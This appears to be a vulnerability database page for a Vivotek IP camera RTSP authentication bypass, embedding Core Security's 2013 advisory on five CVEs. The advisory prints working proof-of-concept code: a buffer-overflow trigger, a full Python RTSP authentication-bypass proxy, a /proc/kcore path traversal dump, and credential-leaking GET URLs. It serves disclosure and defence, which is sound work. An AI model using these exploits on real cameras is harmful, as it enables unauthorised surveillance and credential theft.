Attack vector NETWORK
Attack complexity LOW
Privileges required NONE
Confidentiality impact PARTIAL
Integrity impact NONE
Availability impact NONE
An Authentication Bypass Vulnerability exists in Vivotek PT7135 IP Camera 0300a and 0400a via specially crafted RTSP packets to TCP port 554.
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
- Exploiting Trust in Client (aka Make the Client Invisible)
An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Utilizing REST's Trust in the System Resource to Register Man in the Middle
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
- Man in the Middle Attack
This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.
|description||Vivotek IP Cameras Multiple Vulnerabilities. CVE-2013-1594,CVE-2013-1595,CVE-2013-1596,CVE-2013-1597,CVE-2013-1598. Webapps exploit for hardware platform|
|title||Vivotek IP Cameras Multiple Vulnerabilities|
|description||Core Security - Corelabs Advisory http://corelabs.coresecurity.com Vivotek IP Cameras Multiple Vulnerabilities 1. *Advisory Information* Title: Vivotek IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0301 Advisory URL: http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-04-29 Vendors contacted: Vivotek Release mode: User release 2. *Vulnerability Information* Class: Information leak through GET request [CWE-598], Buffer overflow [CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598 3. *Vulnerability Description* Multiple vulnerabilities have been found in Vivotek IP cameras  (and potentially cameras from other vendors sharing the affected firmware) that could allow an unauthenticated remote attacker: 1. [CVE-2013-1594] to process GET requests that contain sensitive information, 2. [CVE-2013-1595] to execute arbitrary code, 3. [CVE-2013-1596] to access the video stream via RTSP, 4. [CVE-2013-1597] to dump the camera's memory and retrieve user credentials, 5. [CVE-2013-1598] to execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a). 4. *Vulnerable Packages* . Vivotek PT7135 IP camera with firmware 0300a. . Vivotek PT7135 IP camera with firmware 0400a. . Other Vivotek cameras/firmware are probably affected too, but they were not checked. 5. *Non-Vulnerable Packages* Vendor did not provide details. Contact Vivotek for further information. 6. *Vendor Information, Solutions and Workarounds* There was no official answer from Vivotek after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be: . Do not expose the camera to internet unless absolutely necessary. . Filter RTSP traffic (default port 554) if possible. . Have at least one proxy filtering '/../../' and 'getparam.cgi' in HTTP requests. . Filter strings in the parameter 'system.ntp' on every request made to the binary 'farseer.out'. 7. *Credits* [CVE-2013-1594] was originally discovered and reported  by Alejandro Leon Morales  and re-discovered on new firmware versions by Flavio De Cristofaro from Core Security. [CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was made by Martin Rocha with help of Juan Cotta from Core QA Team. [CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *Information leak through GET request* [CVE-2013-1594] Several Vivotek cameras store Wireless keys and 3rd party credentials in clear text allowing a remote attacker to obtain sensitive information which might be valuable to perform further attacks. Sensitive information stored in plain text includes: . FTP credentials . Share folder credentials . SMTP credentials . WEP / WPA Keys . DynDNS credentials . Safe100.net credentials . TZO credentials, among others. The following GET requests can exploit the vulnerability (requests may change according to firmware versions and vendors devices): /----- http://192.168.1.100/cgi-bin/admin/getparam.cgi http://192.168.1.100/setup/parafile.html -----/ 8.2. *Remote Buffer Overflow* [CVE-2013-1595] The following Python script can be used to trigger the vulnerability. This script will send to the RTSP service a specially crafted packet with the header field 'Authorization' fully completed with the character 'a' (0x61). As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition. /----- import socket, base64 cam_ip = '192.168.1.100' session_descriptor = 'live.sdp' request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip, session_descriptor) request+= 'CSeq: 1\r\n' request+= 'Authorization: Basic %s\r\n' request+= '\r\n' auth_little = 'a' * 1000 auth_big = 'a' * 10000 msgs = [request % auth_little, request % auth_big] for msg in msgs: s = socket.socket() s.connect((cam_ip, 554)) print s.send(msg) print s.recv(0x10000) s.close() -----/ 8.3. *RTSP Authentication Bypass* [CVE-2013-1596] This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. As a result, the video stream can be accessed by an unauthenticated remote attacker. /----- import sys from socket import * from threading import Thread import time, re LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close() class UDPDispatcher(Thread): dispatchers =  def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove( self ) class PipeThread(Thread): pipes =  def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr, dst_addr)) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): self.address = address def get_describe_data(self): return '' class Vivotek(Camera): # Vivotek PT7135/0400a def __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n' class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start() def spoof_rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address, udp_port)).start() except: pass return data if __name__ == '__main__': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv) camera_ip = sys.argv if len(sys.argv) == 4: camera_port = int(sys.argv) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]' -----/ 8.4. *User Credentials Leaked via Path Traversal* [CVE-2013-1597] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker (firmware 0300a). The same attack is still valid with firmware 0400a but the user has to be authenticated in order to exploit this flaw. /----- import httplib conn = httplib.HTTPConnection("192.168.1.100") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() -----/ 8.5. *OS Command Injection* [CVE-2013-1598] The command injection is located in the binary file 'farseer.out' in the parameter 'system.ntp': /----- .text:0000CB34 MOV R1, R4 .text:0000CB38 LDR R0, =aCmdporcessStar ; "[CmdPorcess] Start sync with NTP server %s"... .text:0000CB3C ADD R10, SP, #0x144+var_120 .text:0000CB40 BNE loc_CB68 [...] .text:0000CB68 BL .printf .text:0000CB6C LDR R2, =aSS_0 ; "%s%s" .text:0000CB70 LDR R3, =aUsrSbinPsntpda ; "/usr/sbin/psntpdate -4fr " .text:0000CB74 MOV R1, #0xFF ; maxlen .text:0000CB78 MOV R0, R10 ; s .text:0000CB7C STR R4, [SP,#0x144+var_144] .text:0000CB80 BL .snprintf .text:0000CB84 MOV R0, R10 ; command .text:0000CB88 BL .system -----/ 9. *Report Timeline* . 2013-03-06: Core Security Technologies notifies the Vivotek Customer Support of the vulnerability (tracking ID CRM:00930113) and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. . 2013-03-11: Core asks for a security manager to send a confidential report. . 2013-03-14: Core notifies the Vivotek Technical Support of the vulnerability (tracking ID CRM:00930485). . 2013-03-18: Core opens a new ticket in the Vivotek Technical Support (tracking ID CRM:00930670). . 2013-03-21: Core asks for a reply regarding the tracking ID CRM:00930485. . 2013-04-24: Core tries to contact vendor for last time without any reply. . 2013-04-29: After 6 failed attempts to report the issues, the advisory CORE-2013-0301 is published as 'user-release'. 10. *References*  http://www.vivotek.com/web/product/NetworkCameras.aspx  http://www.securityfocus.com/bid/54476.  Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.|
|title||Vivotek IP Cameras Multiple Vulnerabilities|